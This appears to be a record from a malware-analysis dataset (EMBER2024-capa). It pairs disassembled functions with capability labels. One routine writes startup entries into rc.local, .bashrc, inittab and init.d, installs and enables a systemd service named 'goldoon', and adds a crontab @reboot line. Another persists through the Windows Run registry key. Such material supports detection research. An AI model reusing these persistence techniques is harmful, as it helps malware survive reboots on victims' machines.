joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009f30
Capabilities:
Execute command

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rdi, [0x14001e9b0]
mov rdx, rdi
mov rbx, rcx
lea rcx, str._etc_rc.local
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rsi, rax
test rax, rax
je 0x140009f76
mov rcx, rax
mov r8, rbx
lea rdx, [0x14001e9c0]
call fcn.14000e1f0
mov rcx, rsi
call fcn.14000e540
lea rsi, [rsp + 0x20]
mov r8, rbx
lea rdx, str.echo__s_____etc_init.d_startup_script
mov rcx, rsi
call fcn.14000e0d0
mov rcx, rsi
call fcn.14000e5f8
lea rdx, [0x14001e9f0]
lea rcx, str._etc_systemd_system_goldoon.service
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rbp, rax
test rax, rax
je 0x140009fe2
mov r8, rbx
lea rdx, str._Unit__nDescriptionStart_your_binary_at_startup_n_n_Service__nExecStart_s_n_n_Install__nWantedBydefault.target_n
mov rcx, rax
call fcn.14000e1f0
mov rcx, rbp
call fcn.14000e540
lea rcx, str.sudo_systemctl_daemon_reload
call fcn.14000e5f8
lea rcx, str.systemctl_enable_goldoon.service
call fcn.14000e5f8
lea rcx, str._crontab__l_2__dev_null__echo__reboot__s___crontab__
call fcn.14000e5f8
mov rdx, rdi
lea rcx, str._etc_profile
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rbp, rax
test rax, rax
je 0x14000a01f
mov rcx, rax
mov r8, rbx
lea rdx, [0x14001e9c0]
call fcn.14000e1f0
mov rcx, rbp
call fcn.14000e540
mov rdx, rdi
lea rcx, str._.bashrc
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rbp, rax
test rax, rax
je 0x14000a050
mov rcx, rax
mov r8, rbx
lea rdx, [0x14001e9c0]
call fcn.14000e1f0
mov rcx, rbp
call fcn.14000e540
mov r8, rbx
lea rdx, str.cp__s__.config_autostart_
mov rcx, rsi
call fcn.14000e0d0
mov rcx, rsi
call fcn.14000e5f8
mov r8, rbx
lea rdx, str.cp__s__etc_xdg_autostart_
mov rcx, rsi
call fcn.14000e0d0
mov rcx, rsi
call fcn.14000e5f8
mov rdx, rdi
lea rcx, str._etc_inittab
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rsi, rax
test rax, rax
je 0x14000a0b5
mov rcx, rax
mov r8, rbx
lea rdx, str.::sysinit:_s_n
call fcn.14000e1f0
mov rcx, rsi
call fcn.14000e540
mov rdx, rdi
lea rcx, str._etc_init.d_S99startup
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov rsi, rax
test rax, rax
je 0x14000a0f8
mov r8, rbx
lea rdx, str.__bin_sh_n_s_n
mov rcx, rax
call fcn.14000e1f0
mov rcx, rsi
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
jmp fcn.14000e540
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x14000ccb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.14000e080
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
Function at 0x14000d982
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400251a8]
test eax, eax
je 0x14000da1a
lea rax, [0x140025180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400251b0]
mov qword [rbp - 8], rax
jmp 0x14000d9fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14000d9f2
cmp qword [rbp - 0x10], 0
je 0x14000d9f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000d9b8
lea rax, [0x140025180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000da1b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14000db20
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14000db48
mov eax, 0
jmp 0x14000db96
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000db71
mov eax, 0
jmp 0x14000db96
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14000db91
mov eax, 0
jmp 0x14000db96
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14000db9c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000dc1a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14000dc11
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14000dc11
mov rax, qword [rbp - 8]
jmp 0x14000dc2f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14000dbe4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000f809
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x14000f954
mov rax, qword [rbp + 0x10]
mov rcx, rax
call fcn.1400146ed
cmp eax, 1
jne 0x14000f947
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x6b5f6e6970732070
movabs rdx, 0x20726f6620737965
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x20646165726874
mov edx, 0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x15], 0
mov qword [rbp - 0xd], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov ecx, eax
lea rax, [rbp - 0x70]
add rax, 0x27
mov r8d, 0xa
mov rdx, rax
mov rax, qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__ultoa]
call rax
mov dword [rbp - 4], 0x27
jmp 0x14000f8fd
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x70]
test al, al
je 0x14000f913
mov eax, dword [rbp - 4]
cmp eax, 0x69
jbe 0x14000f8f9
mov eax, dword [rbp - 4]
cmp eax, 0x69
ja 0x14000f932
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x70], 0xa
mov eax, dword [rbp - 4]
add eax, 1
cdqe
mov byte [rbp + rax - 0x70], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
jmp 0x14000f955
nop
add rsp, 0x90
pop rbp
ret
Function at 0x140010b67
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [0x14001098a]
mov rdx, rax
lea rax, [0x1400251e0]
mov rcx, rax
call fcn.14000ff82
mov eax, dword [0x14001b3b0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140010bba
mov rax, qword [rbp - 0x10]
jmp 0x140010d1a
call fcn.14000f6e5
mov qword [rbp - 0x10], rax
mov rax, qword [0x140028048]
test rax, rax
je 0x140010bd6
cmp qword [rbp - 0x10], 0
jne 0x140010be0
mov eax, 0
jmp 0x140010d1a
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call fcn.14000f809
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x140010cbb
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x14001b3b0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x140010d16
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140010e17
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call fcn.140010b67
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call fcn.1400109b8
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x140010e84
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_longjmp]
call rax
mov eax, dword [0x14001b3b0]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140010fc8
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x140010f21
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140010edc
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000f5be
mov qword [rbp - 0x10], 0
mov eax, dword [0x14001b3b0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x140010fc8
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140010f5b
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x140010fc8
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.14000f5be
mov qword [rbp - 0x10], 0
mov eax, dword [0x14001b3b0]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__endthreadex]
call rax
nop
Function at 0x140013480
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
lea rax, [0x14001b3d0]
mov rcx, rax
call fcn.1400146fc
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax]
cmp eax, 0xbab1f0ed
jne 0x1400134bc
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax + 4]
test eax, eax
jg 0x1400134fc
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
mov dword [rsp + 0x20], 0x28
lea r9, str..._.._.._mingw_w64_libraries_winpthreads_src_rwlock.c
lea r8, str.___rwlock_t__rwl___valid__LIFE_RWLOCK______rwlock_t__rwl___busy___0_
lea rax, str.Assertion_failed:___s___file__s__line__d_n
mov rdx, rax
call fcn.14000e1f0
mov ecx, 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov edx, dword [rax + 4]
sub edx, 1
mov dword [rax + 4], edx
lea rax, [0x14001b3d0]
mov rcx, rax
call fcn.14001477b
mov eax, dword [rbp + 0x18]
add rsp, 0x30
pop rbp
ret
Function at 0x140008770
Capabilities:
Persist via run registry key

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140050240]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [0x140050158]
lea rdx, [rsp + 0x40]
and qword [rsp + 0x40], 0
lea r8, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x28], rdx
xor r9d, r9d
mov rdx, 0xffffffff80000001
mov dword [rsp + 0x20], 0xf003f
mov rax, qword [rcx]
mov rax, qword [rax + 0x108]
call qword [case.0x140031fec.0]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x140008824
mov rcx, qword [0x140050158]
lea r8, [0x14003b770]
mov rdx, qword [rsp + 0x40]
mov rax, qword [rcx]
mov rax, qword [rax + 0x478]
call qword [case.0x140031fec.0]
mov rcx, qword [0x140050158]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
mov rdx, qword [rcx]
cmovle ebx, eax
mov rax, qword [rdx + 0x100]
mov rdx, qword [rsp + 0x40]
call qword [case.0x140031fec.0]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140034470
add rsp, 0x50
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140050240]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor edi, edi
mov qword [rsp + 0x40], rdi
movdqa xmm0, xmmword [0x1400426d0]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], di
lea rcx, [rsp + 0x40]
call fcn.14000ad04
mov ebx, eax
test eax, eax
js 0x1400133ed
mov rcx, qword [0x140050158]
mov rax, qword [rcx]
mov r10, qword [rax + 0xd0]
mov eax, dword [rsp + 0x50]
lea eax, [rax*2 + 2]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 1
lea r9, [0x14003b770]
lea r8, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, 0xffffffff80000001
mov rax, r10
call qword [case.0x140031fec.0]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
lea rcx, [rsp + 0x40]
call fcn.1400031d0
mov eax, ebx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140034470
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
test cl, cl
jne 0x140013340
jmp 0x140008770
mov cl, dl
jmp 0x140014fc8

Function at 0x1400090d4
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x140050240]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edi, edi
mov rbx, rcx
cmp qword [rcx + 0x18], 8
jb 0x140009102
mov rcx, qword [rcx]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x140009147
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp qword [rbx + 0x18], 8
jb 0x140009126
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140009147
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov eax, edi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140034470
mov rbx, qword [rsp + 0x298]
add rsp, 0x280
pop rdi
ret
mov rcx, rdx
jmp 0x1400090d4
Function at 0x14000958c
Capabilities:
Delete registry value

Disassembly:
movzx r9d, r9b
add r9d, r9d
jmp 0x140009598
push rbx
push rdi
sub rsp, 0x58
mov rax, qword [0x140050240]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r8
mov eax, 0x200
xor r8d, r8d
mov r10, rcx
cmp r9d, 1
mov ecx, 0x100
cmove r8d, eax
xor eax, eax
cmp r9d, 2
cmove eax, ecx
mov rcx, qword [0x140050158]
or r8d, eax
or r8d, 0x1000b
cmp qword [rdx + 0x18], 8
mov rax, qword [rcx]
jb 0x1400095f0
mov rdx, qword [rdx]
mov rax, qword [rax + 0x108]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], r9
xor r9d, r9d
mov dword [rsp + 0x20], r8d
mov r8, rdx
mov rdx, r10
call qword [case.0x140031fec.0]
mov ebx, eax
test eax, eax
jne 0x140009651
cmp qword [rdi + 0x18], 8
jb 0x140009625
mov rdi, qword [rdi]
mov rcx, qword [rsp + 0x40]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [0x140050158]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
mov rax, qword [rcx]
mov rax, qword [rax + 0x100]
call qword [case.0x140031fec.0]
movzx eax, bx
or eax, 0x80070000
test ebx, ebx
cmovle eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140034470
add rsp, 0x58
pop rdi
pop rbx
ret

Function at 0x140009598
Capabilities:
Delete registry value

Disassembly:
movzx r9d, r9b
add r9d, r9d
jmp 0x140009598
push rbx
push rdi
sub rsp, 0x58
mov rax, qword [0x140050240]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, r8
mov eax, 0x200
xor r8d, r8d
mov r10, rcx
cmp r9d, 1
mov ecx, 0x100
cmove r8d, eax
xor eax, eax
cmp r9d, 2
cmove eax, ecx
mov rcx, qword [0x140050158]
or r8d, eax
or r8d, 0x1000b
cmp qword [rdx + 0x18], 8
mov rax, qword [rcx]
jb 0x1400095f0
mov rdx, qword [rdx]
mov rax, qword [rax + 0x108]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], r9
xor r9d, r9d
mov dword [rsp + 0x20], r8d
mov r8, rdx
mov rdx, r10
call qword [case.0x140031fec.0]
mov ebx, eax
test eax, eax
jne 0x140009651
cmp qword [rdi + 0x18], 8
jb 0x140009625
mov rdi, qword [rdi]
mov rcx, qword [rsp + 0x40]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [0x140050158]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
mov rax, qword [rcx]
mov rax, qword [rax + 0x100]
call qword [case.0x140031fec.0]
movzx eax, bx
or eax, 0x80070000
test ebx, ebx
cmovle eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140034470
add rsp, 0x58
pop rdi
pop rbx
ret
Function at 0x140009c4c
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x140050240]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rsi, r9
movzx r15d, r8b
mov rdi, rdx
mov r12, rcx
mov rbx, qword [r9]
mov r14, qword [r9 + 8]
cmp rbx, r14
je 0x140009ca8
mov rcx, rbx
call fcn.1400031d0
add rbx, 0x20
cmp rbx, r14
jne 0x140009c90
mov rax, qword [rsi]
mov qword [rsi + 8], rax
mov r9d, r15d
shl r9d, 8
or r9d, 0x20019
xor r15d, r15d
mov qword [rsp + 0x40], r15
cmp qword [rdi + 0x18], 8
jb 0x140009cc8
mov rdi, qword [rdi]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
movzx ebx, ax
mov r12d, 0x80070000
or ebx, r12d
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x140009def
mov r14d, r15d
mov dword [rsp + 0x48], 0xff
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x70]
mov edx, r14d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edi, eax
test eax, eax
jne 0x140009dc4
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
lea rax, [rsp + 0x70]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r15w
jne 0x140009d53
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400034b4
nop
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140009da7
mov qword [rax], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.140003b34
add qword [rsi + 8], 0x20
jmp 0x140009db8
lea r8, [rsp + 0x50]
mov rdx, rax
mov rcx, rsi
call fcn.140003cec
nop
lea rcx, [rsp + 0x50]
call fcn.1400031d0
jmp 0x140009dcc
cmp edi, 0x103
jne 0x140009dd9
inc r14d
test edi, edi
je 0x140009cfd
jmp 0x140009de4
movzx ebx, di
or ebx, r12d
test edi, edi
cmovle ebx, edi
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140034470
add rsp, 0x280
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x14000b428
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x140050240]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, rcx
mov dword [rsp + 0x20], 0x104
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x208
xor ebx, ebx
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USERENV.dll_GetDefaultUserProfileDirectoryW]
test eax, eax
je 0x14000b489
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140003234
jmp 0x14000b49d
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov eax, ebx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140034470
mov rbx, qword [rsp + 0x268]
add rsp, 0x250
pop rdi
ret
mov rcx, rdx
jmp 0x14000b428